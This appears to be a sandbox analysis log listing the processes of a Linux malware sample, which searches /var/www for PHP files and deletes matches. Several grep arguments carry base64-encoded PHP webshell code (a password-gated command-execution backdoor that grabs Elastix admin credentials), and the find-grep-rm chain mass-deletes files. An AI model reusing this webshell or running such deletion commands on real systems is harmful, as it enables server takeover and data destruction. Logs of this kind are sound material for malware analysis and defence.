    xargs -0 grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
    3⤵
    - Reads runtime system information
    PID:818
  - - /usr/local/sbin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:821
  - - /usr/local/bin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:821
  - - /usr/sbin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:821
  - - /usr/bin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:821
  - - /sbin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:821
  - - /bin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:821
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:819
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:823
- - /usr/bin/xargs
    xargs -0 grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
    3⤵
    PID:824
  - - /usr/local/sbin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:827
  - - /usr/local/bin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:827
  - - /usr/sbin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:827
  - - /usr/bin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:827
  - - /sbin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:827
  - - /bin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:827
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:825
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:829
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:831
- - /usr/bin/xargs
    xargs -0 grep -Il 212.83.160.70
    3⤵
    PID:830
  - - /usr/local/sbin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:833
  - - /usr/local/bin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:833
  - - /usr/sbin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:833
  - - /usr/bin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:833
  - - /sbin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:833
  - - /bin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:833
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:835
- - /usr/bin/xargs
    xargs -0 grep -Il atmin
    3⤵
    PID:836
  - - /usr/local/sbin/grep
      grep -Il atmin
      4⤵
      PID:839
  - - /usr/local/bin/grep
      grep -Il atmin
      4⤵
      PID:839
  - - /usr/sbin/grep
      grep -Il atmin
      4⤵
      PID:839
  - - /usr/bin/grep
      grep -Il atmin
      4⤵
      PID:839
  - - /sbin/grep
      grep -Il atmin
      4⤵
      PID:839
  - - /bin/grep
      grep -Il atmin
      4⤵
      PID:839
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:837
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:841
- - /usr/bin/xargs
    xargs -0 grep -Il emad
    3⤵
    PID:842
  - - /usr/local/sbin/grep
      grep -Il emad
      4⤵
      PID:845
  - - /usr/local/bin/grep
      grep -Il emad
      4⤵
      PID:845
  - - /usr/sbin/grep
      grep -Il emad
      4⤵
      PID:845
  - - /usr/bin/grep
      grep -Il emad
      4⤵
      PID:845
  - - /sbin/grep
      grep -Il emad
      4⤵
      PID:845
  - - /bin/grep
      grep -Il emad
      4⤵
      PID:845
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:843
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:846
- - /usr/bin/xargs
    xargs -0 grep -Il xman
    3⤵
    PID:847
  - - /usr/local/sbin/grep
      grep -Il xman
      4⤵
      PID:851
  - - /usr/local/bin/grep
      grep -Il xman
      4⤵
      PID:851
  - - /usr/sbin/grep
      grep -Il xman
      4⤵
      PID:851
  - - /usr/bin/grep
      grep -Il xman
      4⤵
      PID:851
  - - /sbin/grep
      grep -Il xman
      4⤵
      PID:851
  - - /bin/grep
      grep -Il xman
      4⤵
      PID:851
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:848
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:853
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:855
- - /usr/bin/xargs
    xargs -0 grep -Il XIlphUsiO4msro7W13SzX93D
    3⤵
    PID:854
  - - /usr/local/sbin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:857
  - - /usr/local/bin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:857
  - - /usr/sbin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:857
  - - /usr/bin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:857
  - - /sbin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:857
  - - /bin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:857
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:859
- - /usr/bin/xargs
    xargs -0 grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
    3⤵
    PID:860
  - - /usr/local/sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:863
  - - /usr/local/bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:863
  - - /usr/sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:863
  - - /usr/bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:863
  - - /sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:863
  - - /bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:863
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:861
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:865
- - /usr/bin/xargs
    xargs -0 grep -Il PXNnXkJjM2Brrml4KJcQB2cl
    3⤵
    PID:866
  - - /usr/local/sbin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:869
  - - /usr/local/bin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:869
  - - /usr/sbin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:869
  - - /usr/bin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:869
  - - /sbin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:869
  - - /bin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:869
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:867
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:871
- - /usr/bin/xargs
    xargs -0 grep -Il qqeTjC4GRemtQk
    3⤵
    PID:872
  - - /usr/local/sbin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:875
  - - /usr/local/bin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:875
  - - /usr/sbin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:875
  - - /usr/bin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:875
  - - /sbin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:875
  - - /bin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:875
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:873
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:877
- - /usr/bin/xargs
    xargs -0 grep -Il BHQfhP4BjWtPyz8zT
    3⤵
    PID:878
  - - /usr/local/sbin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:881
  - - /usr/local/bin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:881
  - - /usr/sbin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:881
  - - /usr/bin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:881
  - - /sbin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:881
  - - /bin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:881
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:879
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:882
- - /usr/bin/xargs
    xargs -0 grep -Il Z9SbKxDW
    3⤵
    PID:883
  - - /usr/local/sbin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:887
  - - /usr/local/bin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:887
  - - /usr/sbin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:887
  - - /usr/bin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:887
  - - /sbin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:887
  - - /bin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:887
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:885
- - /usr/bin/xargs
    xargs -0 grep -Il E8BcHrsgsXBGDf
    3⤵
    PID:890
  - - /usr/local/sbin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:893
  - - /usr/local/bin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:893
  - - /usr/sbin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:893
  - - /usr/bin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:893
  - - /sbin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:893
  - - /bin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:893
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:889
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:891
- - /usr/bin/xargs
    xargs -0 grep -Il 34SapF2b
    3⤵
    - Reads runtime system information
    PID:895
  - - /usr/local/sbin/grep
      grep -Il 34SapF2b
      4⤵
      PID:899
  - - /usr/local/bin/grep
      grep -Il 34SapF2b
      4⤵
      PID:899
  - - /usr/sbin/grep
      grep -Il 34SapF2b
      4⤵
      PID:899
  - - /usr/bin/grep
      grep -Il 34SapF2b
      4⤵
      PID:899
  - - /sbin/grep
      grep -Il 34SapF2b
      4⤵
      PID:899
  - - /bin/grep
      grep -Il 34SapF2b
      4⤵
      PID:899
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:897
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:894
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:900
- - /usr/bin/xargs
    xargs -0 grep -Il PRWV3tQ99H8fhI0ho
    3⤵
    PID:901
  - - /usr/local/sbin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:903
  - - /usr/local/bin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:903
  - - /usr/sbin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:903
  - - /usr/bin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:903
  - - /sbin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:903
  - - /bin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:903
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:902
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:904
- - /usr/bin/xargs
    xargs -0 grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
    3⤵
    PID:905
  - - /usr/local/sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:907
  - - /usr/local/bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:907
  - - /usr/sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:907
  - - /usr/bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:907
  - - /sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:907
  - - /bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:907
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:906
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:908
- - /usr/bin/xargs
    xargs -0 grep -Il b374k
    3⤵
    PID:909
  - - /usr/local/sbin/grep
      grep -Il b374k
      4⤵
      PID:911
  - - /usr/local/bin/grep
      grep -Il b374k
      4⤵
      PID:911
  - - /usr/sbin/grep
      grep -Il b374k
      4⤵
      PID:911
  - - /usr/bin/grep
      grep -Il b374k
      4⤵
      PID:911
  - - /sbin/grep
      grep -Il b374k
      4⤵
      PID:911
  - - /bin/grep
      grep -Il b374k
      4⤵
      PID:911
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:910
- - /usr/bin/xargs
    xargs -0 grep -Il Hacked
    3⤵
    PID:913
  - - /usr/local/sbin/grep
      grep -Il Hacked
      4⤵
      PID:915
  - - /usr/local/bin/grep
      grep -Il Hacked
      4⤵
      PID:915
  - - /usr/sbin/grep
      grep -Il Hacked
      4⤵
      PID:915
  - - /usr/bin/grep
      grep -Il Hacked
      4⤵
      PID:915
  - - /sbin/grep
      grep -Il Hacked
      4⤵
      PID:915
  - - /bin/grep
      grep -Il Hacked
      4⤵
      PID:915
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:914
- - /usr/bin/find
